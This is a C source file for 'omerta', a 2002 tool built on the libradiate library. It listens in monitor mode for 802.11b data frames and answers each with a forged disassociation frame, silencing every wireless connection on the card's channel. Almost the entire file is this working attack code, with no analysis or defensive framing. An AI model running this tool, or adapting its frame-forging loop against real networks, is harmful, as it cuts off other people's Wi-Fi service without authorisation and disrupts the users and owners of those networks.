/*
 *  $Id$
 *
 *  omerta (silence)
 *  omerta.c - Disassociates all 802.11 network connections within range
 *  on the same channel as the card in the machine.  Built on
 *  top of libradiate.
 *
 *  NOT FOR DISTRIBUTION
 *
 *  Copyright (c) 2002 Mike D. Schiffman <mike stake com>
 *  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in
 *    the documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <errno.h>

#include <radiate.h>

void eprintf(u_char *);
void do_ioctl(char *, radiate_t *r);

int
main(int argc, char **argv)
{
    int c, n;
    u_short data;
    radiate_t *r;
    u_char *rbuf, *wbuf;
    struct hfa384x_tx_frame tx_h;
    struct hfa384x_rx_frame *rx_h;
    char err_buf[RADIATE_ERRBUF_SIZE];

    /* r = radiate_init(RADIATE_VERBOSE, err_buf); */
    r = radiate_init(0, err_buf);
    if (r == NULL)
    {
        fprintf(stderr, "radiate_init(): %s", err_buf);
        return (EXIT_FAILURE);
    }

    printf("Omerta [802.11b network silencer]\n");
    printf("Listening for 802.11b data frames...\n");

    /* ensure monitor mode is on */
    do_ioctl("1", r);

    for (n = 0;;)
    {
        /* read a frame from the ether */
        c = radiate_read(&rbuf, r);
        if (c == -1)
        {
            fprintf(stderr, "radiate_read(): %s", radiate_geterror(r));
            return (EXIT_FAILURE);
        }
        if (c < sizeof (struct hfa384x_rx_frame))
        {
            fprintf(stderr, "Short frame (%d bytes).\n", c);
            continue;
        }
        rx_h = (struct hfa384x_rx_frame *)rbuf;

        /* ensure it is a data frame */
        /* don't worry about endianess since we're on a small box */
        if (RADIATE_GET_TYPE(rx_h->frame_control) != RADIATE_TYPE_DATA)
        {
            continue;
        }

        /* build a disassociation frame; data first */
        /* don't worry about endianess since we're on a small box */
        data = RADIATE_REASON_UNSPECIFIED;

        /*
         *  Build the 802.11 management header.
         *  Remember we have to free this buffer when we're done with it
         */
        wbuf = radiate_build_mgmt_frame(
                rx_h->addr1,                    /* source MAC */
                rx_h->addr2,                    /* destination MAC */
                rx_h->addr3,                    /* BSSID */
                RADIATE_MGMT_STYPE_DISASSOC,    /* MGMT frame subtype */
                RADIATE_CTRL_TODS,              /* control flags */
                (u_char *)&data,                /* payload */
                sizeof (data),                  /* payload size */
                r);                             /* radiate context */

        /* it's that simple */
        c = radiate_write(wbuf, sizeof (tx_h) + sizeof (data), r);
        if (c == -1)
        {
            fprintf(stderr, "radiate_write(): %s", radiate_geterror(r));
        }
        else if ((r->flags) & RADIATE_VERBOSE)
        {
            fprintf(stderr, "%03d    [", ++n);
            eprintf(rx_h->addr1);
            fprintf(stderr, "]    <");
            eprintf(rx_h->addr2);
            fprintf(stderr, ">    [");
            eprintf(rx_h->addr3);
            fprintf(stderr, "]\n");
        }
        else
        {
            fprintf(stderr, "Hush: %d\r", ++n);
        }
        free(wbuf);

        /* we need to do these ioctls for some reason to reset the card
*/
        do_ioctl("0", r);
        do_ioctl("1", r);
    }
    /* NOTREACHED */
    radiate_destroy(r);

    return (EXIT_SUCCESS);
}

void
eprintf(u_char *e)
{
    fprintf(stderr, "%02x:%02x:%02x:%02x:%02x:%02x",
        e[0], e[1], e[2], e[3], e[4], e[5]);
}

void
do_ioctl(char *mode, radiate_t *r)
{
    int c;
    struct timespec t;

    t.tv_sec = 0;
    t.tv_nsec = 500000;

    for (c = -1; c == -1; )
    {
        c = radiate_set_mm(mode, r);
        if (c == -1 && (r->flags) & RADIATE_VERBOSE)
        {
            fprintf(stderr, "radiate_set_mm(): %s",
radiate_geterror(r));
        }
        nanosleep(&t, NULL);
    }
}
